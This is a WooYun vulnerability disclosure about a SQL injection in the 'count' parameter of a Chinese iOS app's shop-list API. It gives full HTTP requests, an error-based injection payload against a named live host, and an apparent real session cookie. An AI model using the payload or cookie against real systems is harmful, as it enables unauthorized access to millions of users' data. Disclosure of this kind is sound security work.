当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0203443

漏洞标题:时趣某APP一处Limit后注入(涉及700W+用户数据)

相关厂商:social-touch.com

漏洞作者: 路人甲

提交时间:2016-04-29 14:31

修复时间:2016-05-08 23:40

公开时间:2016-05-08 23:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-29: 细节已通知厂商并且等待厂商处理中
2016-05-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:时趣互动IOS APP星客
检测发现以下地方存在SQL注入:(注入参数count,报错注入)

GET http://api.51xingke.com/index/getshoplist?city=1&cls=0&count=0&distance=0&f=2&ismore=0&key=%E6%9C%A8&lat=22.539498&lng=113.944141&type=0&v=5 HTTP/1.1
Cookie: XINGKE_USER_KEY_SEND=sRKjchPI%2F0E5mhtvE4g095Vf3IwAGxKJAA%2Fgpyrxf7Wu10KmyjgNoFjYsfWITUpkTmBtlpzykInDslO6SnxIryGpEiZPTce6K2KLBho%2Fuy4%3D
X-Requested-With: XMLHttpRequest
Referer: http://api.51xingke.com/index/getshoplist?distance=0&lat=22.539498&lng=113.944141&cls=0&type=0&count=0&ismore=0&city=1&key=%E6%9C%A8&v=5&f=2
Host: api.51xingke.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


Payload:

GET http://api.51xingke.com/index/getshoplist?city=1&cls=0&count=0%2F**%2FPROCEDURE%2F**%2FANALYSE(EXTRACTVALUE(1%2Cuser())%2C1)--+-&distance=0&f=2&ismore=0&key=%E6%9C%A8&lat=22.539498&lng=113.944141&type=0&v=5 HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: api.51xingke.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache,no-store
Referer: http://api.51xingke.com/index/getshoplist?distance=0&lat=22.539498&lng=113.944141&cls=0&type=0&count=0&ismore=0&city=1&key=%E6%9C%A8&v=5&f=2
Cookie: XINGKE_USER_KEY_SEND=sRKjchPI%2F0E5mhtvE4g095Vf3IwAGxKJAA%2Fgpyrxf7Wu10KmyjgNoFjYsfWITUpkTmBtlpzykInDslO6SnxIryGpEiZPTce6K2KLBho%2Fuy4%3D
Content-Length: 0

漏洞证明:

1、当前数据库用户

user.jpg


2、所有数据库

dbs.jpg


3、用户表,涉及700W+用户数据,具体就不深入了,仅列出个数作为证明

tb1.jpg


tb2.jpg

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-08 23:40

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价